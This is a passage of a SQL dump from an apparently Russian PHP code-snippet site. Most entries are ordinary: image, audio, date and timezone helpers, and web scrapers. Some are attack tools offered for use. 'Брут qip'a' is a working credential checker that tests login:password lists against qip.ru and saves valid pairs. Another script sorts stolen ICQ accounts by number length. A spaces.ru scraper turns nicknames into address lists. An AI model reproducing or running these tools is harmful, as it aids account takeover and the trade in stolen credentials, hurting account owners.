$new_image-&gt;getWidth(); $old_heighgt = $new_image-&gt;getHeight(); // соотношение сторон $mov_ratio = $old_width/$old_heighgt; if($old_width &gt; $max_width){ $new_width = $max_width; } // задаём новые параметры $new_height = $new_width / $mov_ratio; // изменяем размер $new_image-&gt;resize($new_width, $new_height); $new_show_img = $new_image-&gt;toGDImage(); // выводим его header(&quot;Content-type: image/jpeg&quot;); imagejpeg($new_show_img); imagedestroy($new_show','files_5519_3740_',151),(99,19,'Работаем с ffmpeg (1)','Так же, продолжительность можно узнать и у аудио файла','&lt;?php $movie = new ffmpeg_movie(&quot;Luchwee_kachestvo-spaces.ru.mp4&quot;);//видео-файл echo \'Продолжительность: \'.gmdate(&quot;H:i:s&quot;,$movie-&gt;getDuration()); echo \'Ширина: \'.$movie-&gt;getFrameWidth().\'/ Высота: \'.$movie-&gt;getFrameHeight(); ?&gt;','files_2343_3140_',151),(100,19,'Изменения битреита mp3','Для этой херни требуется\r\nбиблиотека lame. Вот тут про неё\r\nhttp://www.allok.ru/?id=15','//файл, который конвертим $input_file=\'file_name.mp3\'; //требуемый битрейт $bit=64; //куда сохранить выходной файл $output_file=\'out.mp3\'; //выполняем команду exec(&quot;lame \'&quot;.escapeshellcmd ($input_file).&quot;\' -b $bit --mp3input \'&quot;.escapeshellcmd($output_file).&quot;\' &quot;);','files_1953_3608_',151),(101,19,'достаем инфу из java','достаем инфу из java','&lt;?php $jar = \'1.jar\' ; $zip = new ZipArchive ; if ( $zip -&gt; open( $jar ) === TRUE) { $cont = $zip -&gt; getFromName ( \'META- INF/MANIFEST.MF\' ); $midp =explode( \'MicroEdition- Profile: \' , $cont ); $midp =strtok ( $midp [ 1 ], \' \' ); $config = explode(\'MicroEdition- Configuration: \', $cont ); $config = strtok( $config [ 1 ], \' \' ); $version = explode( \'MIDlet-Version: \' , $cont ); $version = strtok ($version [ 1 ], \' \' ); $name =explode( \'MIDlet-Name: \' , $cont ); $name =strtok ( $name [ 1 ], \' \' ); $vendor = explode(\'MIDlet-Vendor: \' , $cont ); $vendor = strtok( $vendor [ 1 ], \' \' ); $zip -&gt; close (); echo \'Название: \' .$name .\'&lt;br/&gt; Версия: \'. $version . \'&lt;br/&gt; Производитель: \'. $vendor .\'&lt;br/&gt; Профиль: \' . $midp . \'&lt;br/&gt; Конфигурация: \' . $config ; } ?&gt;','files_3213_2282_',151),(102,13,'Работа с временем | date() – вывод русского месяца','Функция по работе с датами, возможно кому то пригодиться.\r\nP.S. код не мой, найден на одном сайте.','function rdate($param, $time=0) { if(intval($time)==0)$time=time(); $MonthNames=array(&quot;Января&quot;, &quot;Февраля&quot;, &quot;Марта&quot;, &quot;Апреля&quot;, &quot;Мая&quot;, &quot;Июня&quot;, &quot;Июля&quot;, &quot;Августа&quot;, &quot;Сентября&quot;, &quot;Октября&quot;, &quot;Ноября&quot;, &quot;Декабря&quot;); if(strpos($param,\'M\')===false) return date($param, $time); else return date(str_replace(\'M\',$MonthNames[date(\'n\',$time)-1],$param), $time); }','files_4405_3104_',151),(103,13,'Время','Мне так надоело видеть жалкие подобия функций времени, вот и решил вам набыдлокодиить.\r\nСначала решил сам написАть , но потом вспомнил что в гdcms есть тоже норм функция,стырил,склеел очистил от хлама и даю вам, у меня она работает так\r\nДействительна до: 21:45:05 MSK.\r\nили\r\nДействительна до: 22 Окт 2014 в 21:28 MSK.','&lt;?php function vremja($time) { $timep=&quot;&quot;.date(&quot;j M Y в H:i&quot;, $time).&quot;&quot;; $time_p[0]=date(&quot;j n Y&quot;, $time); $time_p[1]=date(&quot;H:i&quot;, $time); if ($time_p[0]==date(&quot;j n Y&quot;))$timep=date(&quot;H:i:s&quot;, $time); if ($time_p[0]==date(&quot;j n Y&quot;))$timep=date(&quot;H:i:s&quot;, $time); if ($time_p[0]==date(&quot;j n Y&quot;, time()-60*60*24))$timep=&quot;Вчера в $time_p[1]&quot;; $timep=str_replace(&quot;Jan&quot;,&quot;Янв&quot;,$timep); $timep=str_replace(&quot;Feb&quot;,&quot;Фев&quot;,$timep); $timep=str_replace(&quot;Mar&quot;,&quot;Марта&quot;,$timep); $timep=str_replace(&quot;May&quot;,&quot;Мая&quot;,$timep); $timep=str_replace(&quot;Apr&quot;,&quot;Апр&quot;,$timep); $timep=str_replace(&quot;Jun&quot;,&quot;Июня&quot;,$timep); $timep=str_replace(&quot;Jul&quot;,&quot;Июля&quot;,$timep); $timep=str_replace(&quot;Aug&quot;,&quot;Авг&quot;,$timep); $timep=str_replace(&quot;Sep&quot;,&quot;Сент&quot;,$timep); $timep=str_replace(&quot;Oct&quot;,&quot;Окт&quot;,$timep); $timep=str_replace(&quot;Nov&quot;,&quot;Ноября&quot;,$timep); $timep=str_replace(&quot;Dec&quot;,&quot;Дек&quot;,$timep); return $timep; } ?&gt; Вызывать так echo vremja(тут секунды или переменная которая их хранит);','files_4380_1907_',151),(104,13,'Функция возвращающая сколько прошло: минут/ часов/дней/недель/месяцев/лет','Функция возвращающая сколько прошло: минут/\r\nчасов/дней/недель/месяцев/лет','# Показывает дату создания public static function display_date($time) {  # На возврат if ($time &gt; time() - 60) $out .= \'Сейчас\'; elseif ($time &gt; time() - 3600) { $minutes = floor((time() - $time) / 60); $out .= $minutes.\' мин. назад\'; }elseif ($time &gt; time() - 86400) { $hours = floor((time() - $time) / 3600); $out .= $hours.\' ч. назад\'; } elseif ($time &gt; time() - 604800) { # Составляем массив для определения дня недели $days = array ( 0 =&gt; \'Воскресенье\', 1 =&gt; \'Понедельник\', 2 =&gt; \'Вторник\', 3 =&gt; \'Среда\', 4 =&gt; \'Четверг\', 5 =&gt; \'Пятницу\', 6 =&gt; \'Субботу\', ); $out .= \'В \'.$days[date(\'w\', $time)]; } elseif ($time &gt; time() - 4233600) { $weeks = floor((time() - $time) / 604800); $out .= $weeks.\' нед. назад\'; } elseif ($time &gt; time() - 16934400) { # Составляем массив для определения месяца $weeks = array ( 1 =&gt; \'Январе\', 2 =&gt; \'Феврале\', 3 =&gt; \'Марте\', 4 =&gt; \'Апреле\', 5 =&gt; \'Мае\', 6 =&gt; \'Июне\', 7 =&gt; \'Июле\', 8 =&gt; \'Августе\', 9 =&gt; \'Сентябре\', 10 =&gt; \'Октябре\', 11 =&gt; \'Ноябре\', 12 =&gt; \'Декабре\', ); $out .= \'В \'.$weeks[date(\'n\', $time)]; } elseif ($time &gt; time() - 203212800) { $years = floor((time() - $time) / 16934400); $out .= (((($years % 10 == 2) || ($years % 10 == 3) || ($years % 10 == 4)) &amp;&amp; ($years / 10) != 1) ? \'года\' : \'лет\').\' назад\'; } # Возвращаем результат return $out; }','files_2221_1234_',151),(105,13,'текст приветствия в зависимости от времени суток','Данный код выводит текст приветствия в\r\nзависимости от времени суток. Найден в блоге\r\nодного вэбмастера.','Today = new Date(); h = Today.getHours(); // тексты сообщений в зависимости от времени суток document.write(&quot;&lt;b align=&quot;&quot;center&quot;&quot;&gt;&quot;); if (h&lt;12) document.write(&quot;Доброе утро! &quot;); else if (h&lt;16) document.write(&quot;Добрый день! &quot;); else if (h&lt;23) document.write(&quot;Добрый вечер! &quot;); else if (h&lt;5) document.write(&quot;Доброй ночи! &quot;); document.write(&quot;&lt;/b&gt;&quot;);','files_1349_1680_',151),(106,13,'Функция определения времени','Функция определения времени','function VrTime ( $time = null ) { if ( $time == null ) $time = time (); $timep = &quot;&quot; . date (&quot;j M Y в H:i&quot; , $time ) . &quot;&quot; ; $time_p [ 0 ] = date ( &quot;j n Y&quot; , $time ); $time_p [ 1 ] = date ( &quot;H:i&quot; , $time ); if ( $time_p [ 0 ] == date ( &quot;j n Y&quot; )) $timep = date ( &quot;H:i:s&quot; , $time ); if (isset( $user )) { if ( $time_p [0 ] == date ( &quot;j n Y&quot; , time ())) $timep = date ( &quot;H:i:s&quot; , $time ); if ( $time_p [0 ] == date ( &quot;j n Y&quot; , time () - 60 * 60 * 24)) $timep = &quot;Вчера в $time_p [ 1 ] &quot; ; } else { if ( $time_p [0 ] == date ( &quot;j n Y&quot; )) $timep = date ( &quot;H:i:s&quot; , $time ); if ( $time_p [0 ] == date ( &quot;j n Y&quot; , time () - 60 * 60 * 24)) $timep = &quot;Вчера в $time_p [ 1 ] &quot; ; }','files_5320_2826_',151),(107,13,'Подарок на др (раз в год)','Так как многие хотят подарочек на день рождения. Но многие админы не решаются сделать это так как против халявы и думают что можно менять дату каждый день и получать подарок. Но! Есть способ выдать подарок раз в год:)\r\n\r\nпредположим что дата рождения у нас вида\r\n\r\n01/01/2014\r\nтут всё от формата зависит.\r\n\r\nДопустим дату выводим так:\r\n$dateh=$user[\'day\'].\'/\'.$user[\'mes\'].\'/\'.$user[\'year\']; // это наша дата рождения.\r\n\r\nСоздаем базу\r\n\r\nCREATE TABLE IF NOT EXISTS `datehappy` (\r\n`id` int(11) NOT NULL AUTO_INCREMENT,\r\n`year` int(11) DEFAULT 0,\r\n`id_user` int(11) DEFAULT 0,\r\nPRIMARY KEY (`id`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=cp1251\r\nAUTO_INCREMENT=1;\r\n\r\nсюда будем заносить данные о получении подарка.\r\n\r\nКод в шапку сайта','&lt;?php $year=intval(date(&quot;Y&quot;)); // на всякий случай проверим и обработаем только цифры $happy=mysql_fetch_array(mysql_query(&quot;SELECT * FROM `datehappy` WHERE `id_user` = \'$user[id]\' AND `year` = \'$year\'&quot;)); // ищем данные о подарке за текущий год if(date(&quot;d/m/Y&quot;)==$dateh &amp;&amp; !$happy[\'id\']) { // это условие говорит: если сегодня день рождения и в этом году подарок не получен, то выполняем код mysql_query(&quot;UPDATE `users` SET `ball` = `ball` + \'1000\' WHERE `id` = \'$user[id]\'&quot;); // вот тут работает ваша фантазия и возможности вашего движка:) это код выдачи подарка. mysql_query(&quot;INSERT INTO `datehappy` SET `id_user` = \'$user[id]\', `year` = \'$year\'&quot;); // этот запрос записывает что я получил подарок в этом году. } // если будут вопросы, пишите в почту;) ?&gt;','files_1701_3398_',151),(108,13,'установка временной зоны','установка временной зоны','&lt;?php //Временная зона $zone = 2 ; $timezones = array(- 12 =&gt; \'Pacific/Kwajalein\' , - 11 =&gt; \'Pacific/Samoa\' , - 10 =&gt; \'US/Hawaii\' , - 9 =&gt; \'US/Alaska\' , - 8 =&gt; \'US/Pacific\' , - 7 =&gt; \'US/Arizona\' , - 6 =&gt; \'America/ Mexico_City\' , - 5 =&gt; \'US/East-Indiana\' , - 4 =&gt; \'America/Santiago\' , - 3 =&gt; \'America/ Buenos_Aires\' , - 2 =&gt; \'Brazil/DeNoronha\' , - 1 =&gt; \'Atlantic/ Cape_Verde\' , 0 =&gt; \'Europe/London\' , 1 =&gt; \'Europe/Berlin\' , 2 =&gt; \'Europe/Kiev\' , 3 =&gt; \'Europe/Moscow\' , 4 =&gt; \'Europe/Samara\' , 5 =&gt; \'Asia/Yekaterinburg\' , 6 =&gt; \'Asia/Novosibirsk\' , 7 =&gt; \'Asia/Krasnoyarsk\' , 8 =&gt; \'Asia/Irkutsk\' , 9 =&gt; \'Asia/Yakutsk\' , 10 =&gt; \'Asia/Vladivostok\' , 11 =&gt; \'Asia/Magadan\' , 12 =&gt; \'Asia/Kamchatka\' , 13 =&gt; \'Pacific/Tongatapu\' , 14 =&gt; \'Pacific/Kiritimati\' ); //Установка временной зоны date_default_timezone_set ( $timezones [ $zone ]); //Вывод даты для теста echo date( \'H:i:s d.m.Y\' ); //Вот так выводим выпадающий список со временными зонами echo \'&lt;select&gt;\' ; foreach( $timezones as $key =&gt; $val ) { $sel = ($key == $zone ) ? \' selected=&quot;selected&quot;\' : NULL; $pl = ( $key &gt;= 0 ) ? \'+\' : NULL ; echo \'&lt;option value=&quot;\' . $key . \'&quot;\' . $sel .\'&gt;(UTC\' . $pl . $key . \') \' . $val . \'&lt;/option&gt;\' ; } echo \'&lt;/select&gt;\' ; ?&gt;','files_5380_1313_',151),(109,17,'парсер онлайну с spaces.ru','парсер онлайну с spaces.ru','&lt;?php /* Name: ParseNickSpaces Author: Kulz (Shipinov Vitaly) Date: 15/09/2013 17:27 Version: 1.6 */  include_once \'sys/config.php\';  if (!$default_pages || !$default_add || !$default_file) { if (isset($_GET[\'config\']) == \'return\') { $title = \'Восстановление конфигурационного фаила\'; include_once \'sys/head.php\'; $open = fopen(\'sys/config.php\', \'w+\'); $text = \'&lt;?php # Конфигурационный фаил # Здесь сохранены юзерские настройки # По не назначению не применять!!! $default_pages = &quot;10&quot;; // Сколько страниц парсить $default_add = &quot;@spaces.ru&quot;; // Что дописывать в конец $default_file = &quot;result.txt&quot;; // Куда записывать (Путь к файлу) ?&gt;\'; fwrite($open, $text); fclose($open); echo \'&lt;div class=&quot;info&quot;&gt;Успешно восстановлено!&lt;/div&gt;\'; echo \'&lt;a href=&quot;?&quot; class=&quot;link&quot;&gt;«Назад&lt;/a&gt;\'; echo foot(); exit; } }  if (!$default_pages || !$default_add || !$default_file) { $title = \'Ошибка\'; include_once \'sys/head.php\'; echo \'&lt;div class=&quot;err&quot;&gt;Ошибка конфигурационного фаила!&lt;/div&gt;\'; echo \'&lt;a href=&quot;?config=return&quot; class=&quot;link&quot;&gt;Восстановить конфигурационный фаил»&lt;/a&gt;\'; echo foot(); exit; }  switch ($_GET[\'menu\']) { case &quot;logs/look&quot;: $title = \'Просмотр логов\'; include_once \'sys/head.php\'; echo \'&lt;div class=&quot;class&quot;&gt;&lt;textarea rows=&quot;20&quot; cols=&quot;90&quot;&gt;\'.file_get_contents($default_file).\'&lt;/textarea&gt;&lt;/div&gt;\'; echo \'&lt;a href=&quot;?menu=logs/clean&quot; class=&quot;link&quot;&gt;Очистить логи»&lt;/a&gt;\'; echo \'&lt;a href=&quot;?&quot; class=&quot;link&quot;&gt;«Назад&lt;/a&gt;\'; echo foot(); exit; break;  case &quot;settings/default&quot;: $title = \'Настройки по умолчанию\'; include_once \'sys/head.php\'; if (isset($_POST[\'save\'])) { $default_pages = intval($_POST[\'pages\']); $default_add = htmlspecialchars($_POST[\'add\']); $default_file = htmlspecialchars($_POST[\'file\']); $error = false; $errort = \'\';  if (!is_numeric($default_pages) || strLen($default_pages) &lt; 1 || $default_pages &lt; 1) { $error = true; $errort .= \'&lt;div class=&quot;err&quot;&gt;Не правильно указано количество страниц для парсинга!&lt;/div&gt;\'; }  if (strLen($default_file) &lt; 1) { $error = true; $errort .= \'&lt;div class=&quot;err&quot;&gt;Не правильно указан файл логов!&lt;/div&gt;\'; }  if (!$error) { $open = fopen(\'sys/config.php\', \'w+\'); $text = \'&lt;?php # Конфигурационный фаил # Здесь сохранены юзерские настройки # По не назначению не применять!!! $default_pages = &quot;\'.$default_pages.\'&quot;; // Сколько страниц парсить $default_add = &quot;\'.$default_add.\'&quot;; // Что дописывать в конец $default_file = &quot;\'.$default_file.\'&quot;; // Куда записывать (Путь к файлу) ?&gt;\'; fwrite($open, $text); fclose($open); echo \'&lt;div class=&quot;info&quot;&gt;Успешно сохранено!&lt;/div&gt;\'; } } echo $errort; echo \'&lt;div class=&quot;class&quot;&gt;&lt;form method=&quot;post&quot;&gt;\'; echo \'Кол-во страниц:&lt;br&gt;&lt;input type=&quot;text&quot; name=&quot;pages&quot; value=&quot;\'.$default_pages.\'&quot;&gt;&lt;br&gt;\'; echo \'Допись в конце:&lt;br&gt;&lt;input type=&quot;text&quot; name=&quot;add&quot; value=&quot;\'.$default_add.\'&quot;&gt;&lt;br&gt;\'; echo \'Куда записывать:&lt;br&gt;&lt;input type=&quot;text&quot; name=&quot;file&quot; value=&quot;\'.$default_file.\'&quot;&gt;&lt;br&gt;\'; echo \'&lt;input type=&quot;submit&quot; name=&quot;save&quot; value=&quot;Сохранить&quot;&gt;&lt;/form&gt;&lt;/div&gt;\'; echo \'&lt;a href=&quot;?&quot; class=&quot;link&quot;&gt;«Назад&lt;/a&gt;\'; echo foot(); exit; break;  case &quot;logs/clean&quot;: if (isset($_POST[\'no\'])) { echo \'&lt;meta http-equiv=&quot;refresh&quot; content=&quot;0; url=?&quot; /&gt;\'; } $title = \'Очистка логов\'; include_once \'sys/head.php\'; if (isset($_POST[\'yes\'])) { $open = fopen($default_file, \'w+\'); fwrite($open, \'\'); fclose($open); echo \'&lt;div class=&quot;info&quot;&gt;Успешно очищено!&lt;/div&gt;\'; } echo \'&lt;div class=&quot;class&quot;&gt;&lt;form method=&quot;post&quot;&gt;\'; echo \'Вы действительно хотите очистить логи?&lt;br&gt;\'; echo \'&lt;input type=&quot;submit&quot; name=&quot;yes&quot; value=&quot;Да&quot;&gt;&lt;input type=&quot;submit&quot; name=&quot;no&quot; value=&quot;Нет&quot;&gt;&lt;/form&gt;&lt;/div&gt;\'; echo \'&lt;a href=&quot;?&quot; class=&quot;link&quot;&gt;«Назад&lt;/a&gt;\'; echo foot(); exit; break; }  $title = \'Парсить ники\'; include_once \'sys/head.php\'; if (isset($_POST[\'parse\'])) { $pages = intval($_POST[\'pages\']); $add = htmlspecialchars($_POST[\'add\']); $error = false; $errort = \'\';  if (!is_numeric($pages) || strLen($pages) &lt; 1 || $pages &lt; 1) { $error = true; $errort .= \'&lt;div class=&quot;err&quot;&gt;Не правильно указано количество страниц для парсинга!&lt;/div&gt;\'; }  if (!$error) { $count = 0; $time[\'start\'] = microtime(1); for ($page = 0; $page &lt; $pages; $page++) { $source = file_get_contents(&quot;http://spaces.ru/users/?sort=1&amp;p=&quot;.$page.&quot;&quot;); preg_match_all(\'#([a-z0-9]+)&lt;/a&gt;#i\', $source, $nick); foreach ($nick[0] as $s) { if ($s == \'Spaces&lt;/a&gt;\') { $s = $s; } else { $count++; $s = preg_replace(\'&lt;/a&gt;\', \'\', $s); $s = preg_replace(\'#&lt;&gt;#\', \'\', $s); $open = fopen($default_file, \'a+\'); fwrite($open, &quot;&quot;.$s.&quot;&quot;.$add.&quot;n&quot;); fclose($open); } } } if ($count&lt;1) { echo \'&lt;div class=&quot;err&quot;&gt;Ошибка парсинга! Возможно, у Вас отсутствует подключение к интеренту!&lt;/div&gt;\'; } else { $time[\'end\'] = microtime(1); $time[\'gen\'] = round($time[\'end\'] - $time[\'start\'], 3); echo \'&lt;div class=&quot;info&quot;&gt;Завершено&lt;br&gt;Пропарсено страниц: \'.$page.\'/\'.$pages.\'&lt;br&gt;\'; echo \'Начало работы: \'.date (&quot;d/m/y - H:i:s&quot;, $time[\'start\']).\'&lt;br&gt;\'; echo \'Конец работы: \'.date (&quot;d/m/y - H:i:s&quot;, $time[\'end\']).\'&lt;br&gt;\'; echo \'Спарсено ников: \'.$count.\'&lt;br&gt;\'; echo \'Время: \'.$time[\'gen\'].\' секунд&lt;br&gt;&lt;/div&gt;\'; echo \'&lt;a href=&quot;?menu=logs/look&quot; class=&quot;link&quot;&gt;Смотреть логи»&lt;/a&gt;\'; } } }  echo $errort; echo \'&lt;div class=&quot;class&quot;&gt;&lt;form method=&quot;post&quot;&gt;\'; echo \'Кол-во страниц:&lt;br&gt; &lt;input type=&quot;text&quot; name=&quot;pages&quot; value=&quot;\'.$default_pages.\'&quot;&gt;&lt;br&gt;\'; echo \'Допись в конце:&lt;br&gt; &lt;input type=&quot;text&quot; name=&quot;add&quot; value=&quot;\'.$default_add.\'&quot;&gt;&lt;br&gt;\'; echo \'&lt;input type=&quot;submit&quot; name=&quot;parse&quot; value=&quot;Парсить&quot;&gt;&lt;/form&gt;&lt;br&gt;\'; echo \'* - Чтобы каждый раз не вводить нужные вам значения, зайдите в &quot;Настройки по умолчанию&quot; и сохраните так, как нужно вам&lt;/div&gt;\'; if (!isset($_POST[\'parse\'])) { echo \'&lt;a href=&quot;?menu=logs/look&quot; class=&quot;link&quot;&gt;Смотреть логи»&lt;/a&gt;\'; } echo \'&lt;a href=&quot;?menu=settings/default&quot; class=&quot;link&quot;&gt;Настройки по умолчанию»&lt;/a&gt;\'; echo \'&lt;a href=&quot;?menu=logs/clean&quot; class=&quot;link&quot;&gt;Очистить логи»&lt;/a&gt;\'; echo foot(); ?&gt;','files_5315_1424_',151),(110,17,'Скрипт разбивки угнанных ICQ пофайлам','Скрипт разбивки угнанных ICQ пофайлам','&lt;?php $r = &quot;;&quot; ; //разделитель $f = file( &quot;source.txt&quot; ); // файл с аськами $si = fopen ( &quot;6.txt&quot; , &quot;a+&quot; ); // шохи $s = fopen ( &quot;7.txt&quot; , &quot;a+&quot; ); // семёрки $e = fopen ( &quot;8.txt&quot; , &quot;a+&quot; ); // восьмёры $n = fopen ( &quot;9.txt&quot; , &quot;a+&quot; ); // девятки $o = fopen ( &quot;o.txt&quot; , &quot;a+&quot; ); // остальное for( $i = 0; $i &lt; count ( $f );$i ++) { $l = explode( $r , trim( $f [ $i ])); switch( strlen( $l [ 0])) { case 6: fwrite ($si , $f [ $i ]);break; case 7: fwrite ($s , $f [ $i ]);break; case 8: fwrite ($e , $f [ $i ]);break; case 9: fwrite ($n , $f [ $i ]);break; default: fwrite ($o , $f [ $i ]);break; } } fclose ( $si ); fclose ( $s ); fclose ( $e ); fclose ( $n ); fclose ( $o ); ?&gt;','files_3308_2165_',151),(111,17,'парсер смайлов','парсер смайлов','&lt;? //Smile parse by AmFetamiiN //http://smiles.sait.net/ smiles/ set_time_limit (0 ); for( $bn = 0 ; $bn &lt;999 ; $bn ++){ echo copy( \'http:// smiles.ukrweb.net/smiles/sm\' . $bn . \'.gif\' , \'images/smile\' . $bn . \'.gif\' ); } ?&gt;','files_2975_4725_',151),(112,17,'Парсинг страницы и сохранение изображений','Еще один неплохой парсер изображений, напрямую тырит картинки)))','ini_set(\'max_execution_time\', \'1200\'); $from = \'http://inferno.su/pers_avatares/\'; $str = file_get_contents ($from); preg_match_all (&quot;!&lt;a.*?href=\\&quot;?\'?([^ \\&quot;\'&gt;]+)\\&quot;?\'?.*?&gt;(.*?)&lt;/a&gt;!is&quot;, $str, $ok); for($i = 1; $i &lt; count($ok[1]); $i++) { $url = $from . $ok[1][$i]; $destination_folder = \'test/\'; $filename = (($pos = strrpos($url, \'/\')) !== false) ? substr($url, $pos + 1) : $url; if (!copy($url, $destination_folder.$filename)) { echo \'Не удалось скопировать \' . $filename . \'...&lt;br/&gt;\'; } echo \'Файл \' . $url . \' cкопирован в: \' . $destination_folder . $filename . \'&lt;br/&gt;\'; }','files_5111_2928_',151),(113,17,'Граббим гугл!!','Граббим гугл!!','$file=file_get_contents(\'http://google.com/?\'.$_SERVER[\'QUERY_STRING\']); echo $file;','files_1579_5203_',151),(114,17,'Граббер музыки','Граббер музыки с http://loginapps.ru/music/','&lt;?php $file=file_get_contents(\'http://loginapps.ru/music/?\'.$_SERVER[\'QUERY_STRING\']); $file=str_replace(\'&lt;link rel=&quot;stylesheet&quot; href=&quot;/style/style.css&quot; type=&quot;text/css&quot;/&gt;\',\'\',$file); $file=str_replace(\'&lt;title&gt;LoginApps&lt;/title&gt;\',\'\',$file); $file=str_replace(\'&lt;div class=&quot;head&quot;&gt;&lt;span style=&quot;color: #B1CC47;&quot;&gt;Login&lt;/span&gt;Apps&lt;/div&gt;\',\'\',$file); $file=str_replace(\'&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;\',\'\',$file); $file=str_replace(\'&lt;div class=&quot;foot&quot;&gt;(c) LoginApps, 2013\',\'\',$file); echo $file; ?&gt;','files_1570_3791_',151),(115,17,'Получаем ссылки на картинки','Все довольно просто )) код поможет тому кто хочет слить все изображения со страницы. пользуйтесь','&lt;?php  # сохраняем нужную страницу  $page = implode(&quot;&quot;,file(&quot;http://profiwm.ru/&quot;));   # получаем ссылки в массив  preg_match_all(&quot;/&lt;img src=\\&quot;(.*?)\\&quot; alt/is&quot;,$page,$url);   # выводи наш масив  while($i&lt;count($url[1])) {  echo $url[1][$i++].&quot;\\n&quot;;  }  ?&gt;','files_3910_3863_',151),(116,17,'Парсер вмида по кошельку','Парсим вмид по номеру кошелька.Пример использования:\'.return_wmid($row[\'wmr\']).\' ,Используется CURL!','function return_wmid($purse) { $request=&quot;&lt;request&gt;&lt;purse&gt;$purse&lt;/purse&gt;&lt;/request&gt;&quot;; $url=&quot;https://passport.webmoney.ru/xml/XMLGetWMIDInfo.aspx&quot;; $ch = curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_POST,1); curl_setopt($ch, CURLOPT_POSTFIELDS, $request); $result=curl_exec($ch); $xmlres = simplexml_load_string($result); $wmid=$xmlres-&gt;certinfo-&gt;wmids-&gt;row[wmid]; return $wmid; }','files_2819_3273_',151),(117,17,'Парсинг цитатника bash.im с сохранением цитат в mysql-базу','Код скрипт для парсинга цитатника bash.im (ранее bash.org.ru), с сохранением цитат в mysql-базу.','Запрос в MySQL-базу на создание таблицы для цитат CREATE TABLE IF NOT EXISTS `bash` ( `id` int(11) NOT NULL AUTO_INCREMENT, `quote_id` int(11) NOT NULL, `quote_text` mediumtext NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;   PHP-код парсинга &lt;?php //Отключаем лимит ожидания и объявляем переменные set_time_limit(0); $content=NULL;$num_pages=NULL; //Подключение к базе //Подключаемся к базе данных define (&quot;HOST&quot;, &quot;localhost&quot;); define (&quot;DATABASE&quot;, &quot;ваша база данных&quot;); define (&quot;MYSQL_USER&quot;, &quot;ваш юзер&quot;); define (&quot;MYSQL_PASS&quot;, &quot;ваш пароль&quot;); mysql_connect(HOST, MYSQL_USER, MYSQL_PASS);mysql_query(&quot;set names utf8&quot;);mysql_select_db(DATABASE); //Узнаём кол-во страниц $content=file_get_contents(\'http://bash.im/\'); preg_match(\'|max=&quot;(.*?)&quot;|is\',$content,$num_pages); //Парсим каждую страницу for ($i=1; $i &lt;= $num_pages[1]; $i++){$i2=false; //Грузим страницы, вырезаем цитаты $content=file_get_contents(\'http://bash.im/index/\'.$i); $quotes=explode(\'&lt;span class=&quot;date&quot;&gt;\',$content); foreach($quotes as $quote){ if($i2==false){$i2=true;continue;} //Номер цитаты preg_match(\'|class=&quot;id&quot;&gt;#(.*?)&lt;/a&gt;|is\',$quote,$quote_id); //Текст цитаты preg_match(\'|&lt;div class=&quot;text&quot;&gt;(.*?)&lt;/div&gt;|is\',$quote,$quote_text); //Конвертация текста в UTF-8 и экранирование символов $quote_text=strip_tags(addslashes(htmlspecialchars(trim(iconv(&quot;windows-1251&quot;,&quot;UTF-8&quot;,$quote_text[1]))))); //Вписываем в базу if($quote_text!=NULL){mysql_query(&quot;INSERT INTO `bash`(`id`,`quote_id`,`quote_text`) VALUES (NULL,\'{$quote_id[1]}\',\'{$quote_text}\')&quot;);} } //От перенагрузки sleep(2); } ?&gt;','files_1476_4533_',151),(118,17,'Сливаем файлы с сайта :D','Всё в названии. Простенький кодец.','for($i = 1; $i &lt;= 100; $i++) {  $url = &quot;http://сайт.ru/images/$i.jpg&quot;; // откуда тырим контент  $path = &quot;images/$i.jpg&quot;; // директория, в которую будут сохраняться слитые файлы  file_put_contents($path, file_get_contents($url)); // сохраняем всё :D  }','files_5287_2806_',151),(119,17,'Брут qip\'a v0.01','Для роботы нужен файл source.txt в котором лежат уины для брута в формате\r\nуин:пасс\r\nПробрученые уины он удаляет из файла (чтобы можно было отключить, а потом начать с последнего). Гуды гладет в good.txt .','&lt;?php  set_time_limit(0);  function curl($url,$post) { $cfile = \'cookies.txt\'; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile); curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, 1); $result = curl_exec($ch); curl_close($ch); return $result; };  function write($path,$page_body) { $file=fopen($path,&quot;w&quot;); fwrite($file,$page_body); fclose($file); }  function read($path) { $file=fopen($path,&quot;r&quot;); $bufer = fread($file,filesize($path)); fclose($file); return($bufer); }  function add($path,$page_body) { $file=fopen($path,&quot;a+&quot;); fputs($file,$page_body); fclose($file); }  $read = explode(&quot;\\r\\n&quot;,read(\'source.txt\')); $count=count($read); for($i=0;$i&lt;$count;$i++) { list($uin,$pass) = explode(&quot;:&quot;,$read[$i]); $result = curl(\'http://start.qip.ru/reg/test?user=\'.$uin.\'&amp;pass=\'.$pass,\'\'); if($result==\'200\') add(\'good.txt\',$read[$i].&quot;\\r\\n&quot;);  unset($read[$i]); $zapis = implode(&quot;\\r\\n&quot;,$read); write(\'source.txt\',$zapis); } echo \'end\'; ?&gt;','files_4329_1404_',151),(120,11,'Вырезаем все не нужные символы.','Вырезаем все не нужные символы из текста, кроме нужных,\r\nДанный код вырежет всё кроме A-z 0-9 _ -, ну как добавить ещё символы которые не нужно вырезать думаю разберётся любой','$text=preg_replace(\'|[^A-z0-9_-]|i\',\' \',$text);','files_4390_3321_',151),(121,11,'Генератор случайного текста.','Генератор случайного текста.','$salt = \'abcdefghijklmnopqrstuvwxyz\'; $length = 10; echo substr(str_shuffle($salt), 0, $length);','files_5672_3791_',151),(122,11,'&quot;Умное&quot; поле &lt;textarea&gt;','Текст исчезает при нажатии на форму','&lt;textarea placeholder=&quot;Ваше сообщение:&quot; onfocus=&quot;placeholder=\'\';&quot; onblur=&quot;placeholder=\'Ваше сообщение:\';&quot;&gt;&lt;/textarea&gt;','files_3038_5333_',151),(123,13,'Функция обработки времени','Функция обработки времени','&lt;?    function date_fixed($string, $format = &quot;d.m.y в H:i:s&quot;){    switch ($format){    default:    $time = time();    $sdvig = 3600 * 0;    return strtr(date($format, 